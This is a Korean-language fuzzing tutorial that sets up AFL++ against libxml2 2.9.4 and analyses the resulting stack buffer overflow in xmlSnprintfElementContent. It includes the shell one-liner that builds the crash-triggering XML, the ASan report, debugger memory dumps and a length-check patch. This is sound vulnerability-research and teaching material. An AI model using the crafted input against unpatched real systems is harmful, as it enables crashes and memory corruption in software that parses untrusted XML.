xmlSnprintfElementContent 함수에서 버퍼 크기 검사 없이 strcat을 사용하여 스택 기반 버퍼 오버플로우가 발생했습니다.cd $HOME
mkdir Fuzzing_libxml2 && cd Fuzzing_libxml2
wget http://xmlsoft.org/download/libxml2-2.9.4.tar.gz
tar xvf libxml2-2.9.4.tar.gz && cd libxml2-2.9.4/
sudo apt-get install python-dev
CC=afl-clang-lto CXX=afl-clang-lto++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix="$HOME/Fuzzing_libxml2/libxml2-2.9.4/install" --disable-shared --without-debug --without-ftp --without-http --without-legacy --without-python LIBS='-ldl'
make -j$(nproc)
make install
./xmllint --memory ./test/wml.xml
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<card id="card1" title="Rubriques 75008">
<p>
<a href="rubmenu.asp?CP=75008&RB=01">Cinéma</a><br/>
</p>
</card>
</wml>
mkdir afl_in && cd afl_in
wget https://raw.githubusercontent.com/antonio-morales/Fuzzing101/main/Exercise%205/SampleInput.xml
cd ..
mkdir dictionaries && cd dictionaries
wget https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/stable/dictionaries/xml.dict
cd ..
export AFL_SKIP_CPUFREQ=1
# Master
afl-fuzz -m none -i ./afl_in -o afl_out -s 123 -x ./dictionaries/xml.dict -D -M master -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
# Slaves
afl-fuzz -m none -i ./afl_in -o afl_out -s 234 -S slave1 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 345 -S slave2 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 456 -S slave3 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 567 -S slave4 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 678 -S slave5 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 789 -S slave6 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 890 -S slave7 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 901 -S slave8 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 012 -S slave9 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@

honggfuzz -n 8 -i ./input_dir -o ./output_dir -x -w ./dictionaries/xml.dict -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude ___FILE___

oss-security - Invalid writes and reads in libxml2
s=$(printf "%-757s" "0")
t=$(printf "%-4924s" "0")
echo '<!DOCTYPEa[<!ELEMENT a (F'"${s// /0}:${t// /0}"')><!ATTLIST a><!ELEMENT b EMPTY><!ATTLIST b s CDATA #IMPLIED>]><a/>' > bug1.xml
❯ ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude crash/bug1.xml
=================================================================
==182446==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc41bfb128 at pc 0x00000036a239 bp 0x7ffc41bf9cd0 sp 0x7ffc41bf9470
WRITE of size 4925 at 0x7ffc41bfb128 thread T0
#0 0x36a238 in strcat (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x36a238)
#1 0x591b92 in xmlSnprintfElementContent /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:1279:3
#2 0x5c7d57 in xmlValidateElementContent /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:5445:6
#3 0x5c7d57 in xmlValidateOneElement /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:6152:12
#4 0xa451ab in xmlSAX2EndElementNs /home/ion/Fuzzing_libxml2/libxml2-2.9.4/SAX2.c:2467:24
#5 0x4c45d7 in xmlParseElement /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:10203:3
#6 0x4ed648 in xmlParseDocument /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:10953:2
#7 0x51b774 in xmlDoRead /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:15432:5
#8 0x3cf51f in xmlReadMemory /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:15518:13
#9 0x3cf51f in parseAndPrintFile /home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint.c:2371:9
#10 0x3be5ab in main /home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint.c:3767:7
#11 0x7f6a142f2082 in __libc_start_main /build/glibc-LcI20x/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x304e9d in _start (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x304e9d)
Address 0x7ffc41bfb128 is located in stack of thread T0 at offset 5128 in frame
#0 0x5c12df in xmlValidateOneElement /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:5943
This frame has 5 object(s):
[32, 82) 'fn.i' (line 5288)
[128, 5128) 'expr.i' (line 5441)
[5392, 10392) 'list.i' (line 5442) <== Memory access at offset 5128 partially underflows this variable
[10656, 10660) 'extsubset' (line 5950)
[10672, 10722) 'fn' (line 6063)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x36a238) in strcat
Shadow bytes around the buggy address:
0x1000083775d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000083775e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000083775f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100008377600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100008377610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100008377620: 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100008377630: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100008377640: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
0x100008377650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100008377660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100008377670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==182446==ABORTING
xmlSnprintfElementContent 함수 내의 strcat 함수에서 Stack-buffer-overflow가 발생했습니다.void
xmlSnprintfElementContent(char *buf, int size, xmlElementContentPtr content, int englob) {
int len;
if (content == NULL) return;
len = strlen(buf);
if (size - len < 50) {
if ((size - len > 4) && (buf[len - 1] != '.'))
strcat(buf, " ...");
return;
}
if (englob) strcat(buf, "(");
switch (content->type) {
case XML_ELEMENT_CONTENT_PCDATA:
strcat(buf, "#PCDATA");
break;
case XML_ELEMENT_CONTENT_ELEMENT:
if (content->prefix != NULL) {
if (size - len < xmlStrlen(content->prefix) + 10) {
strcat(buf, " ...");
return;
}
strcat(buf, (char *) content->prefix);
strcat(buf, ":");
}
if (size - len < xmlStrlen(content->name) + 10) {
strcat(buf, " ...");
return;
}
if (content->name != NULL)
strcat(buf, (char *) content->name);
break;
buf 에 content->name 을 이어 붙이는 과정에서 BOF가 발생했습니다.buf 의 크기를 봐보면 char expr[5000];
char list[5000];
expr[0] = 0;
xmlSnprintfElementContent(&expr[0], 5000, cont, 1);
strcat 을 하기 전 buf 값과 content->name 값을 봐보면
pwndbg> x/96gx 0x7fffffff8320
0x7fffffff8320: 0x3030303030304628 0x3030303030303030
0x7fffffff8330: 0x3030303030303030 0x3030303030303030
0x7fffffff8340: 0x3030303030303030 0x3030303030303030
0x7fffffff8350: 0x3030303030303030 0x3030303030303030
...
...
...
0x7fffffff85c0: 0x3030303030303030 0x3030303030303030
0x7fffffff85d0: 0x3030303030303030 0x3030303030303030
0x7fffffff85e0: 0x3030303030303030 0x3030303030303030
0x7fffffff85f0: 0x3030303030303030 0x3030303030303030
0x7fffffff8600: 0x3030303030303030 0x3030303030303030
0x7fffffff8610: 0x3a30303030303030 0x0000000000000000
x/gx 당 8바이트가 출력되기 때문에 95 * 8을 하면 760 바이트가 됩니다.buf 는 최종적으로 760 바이트가 됩니다.pwndbg> x/616gx 0x62a000001b53
0x62a000001b53: 0x3030303030303030 0x3030303030303030
0x62a000001b63: 0x3030303030303030 0x3030303030303030
0x62a000001b73: 0x3030303030303030 0x3030303030303030
0x62a000001b83: 0x3030303030303030 0x3030303030303030
0x62a000001b93: 0x3030303030303030 0x3030303030303030
0x62a000001ba3: 0x3030303030303030 0x3030303030303030
...
...
...
0x62a000002e23: 0x3030303030303030 0x3030303030303030
0x62a000002e33: 0x3030303030303030 0x3030303030303030
0x62a000002e43: 0x3030303030303030 0x3030303030303030
0x62a000002e53: 0x3030303030303030 0x3030303030303030
0x62a000002e63: 0x3030303030303030 0x3030303030303030
0x62a000002e73: 0x3030303030303030 0x3030303030303030
0x62a000002e83: 0x3030303030303030 0x7300620030303030
x/gx 당 8 바이트가 출력되기 때문에 615를하면 8 * 615를 해서 4920 바이트가 출력됩니다.0x30 이 4 바이트 출력되고 0x00 이 나오기 때문에 최종적으로 content->name 은 4924 바이트가 됩니다.➡️ 최종적으로 buf 에 들어가는 데이터의 크기는 760 + 4924 가 되서 5684 바이트가 됩니다.
➡️ 하지만 buf 의 크기는 5000 바이트이기 때문에 Buffer Overflow가 발생하게 됩니다.
strcat 함수로 문자열을 이어 붙이기 전에 이어 붙인 후 문자열의 길이가 buf 의 크기인 5000 바이트 이상인지 체크하는 방식으로 패치를 하면 됩니다.
void
xmlSnprintfElementContent(char * buf, int size, xmlElementContentPtr content, int englob) {
int len;
if (content == NULL) return;
len = strlen(buf);
if (size - len < 50) {
if ((size - len > 4) && (buf[len - 1] != '.'))
strcat(buf, " ...");
return;
}
if (englob) strcat(buf, "(");
switch (content -> type) {
case XML_ELEMENT_CONTENT_PCDATA:
strcat(buf, "#PCDATA");
break;
case XML_ELEMENT_CONTENT_ELEMENT:
if (content -> prefix != NULL) {
if (size - len < xmlStrlen(content -> prefix) + 10) {
strcat(buf, " ...");
return;
}
strcat(buf, (char * ) content -> prefix);
strcat(buf, ":");
}
if (size - len < xmlStrlen(content -> name) + 10) {
strcat(buf, " ...");
return;
}
if (content -> name != NULL) {
int bufLen = strlen(buf);
int nameLen = strlen(content->name);
if (bufLen + nameLen >= 5000) {
printf("Stack Overflow!\n");
exit(1);
}
strcat(buf, (char * ) content -> name);
}
break;
buf 의 길이와 content->name 의 길이를 합쳤을 때 5000 이상이면 프로그램을 종료하도록 패치하였습니다.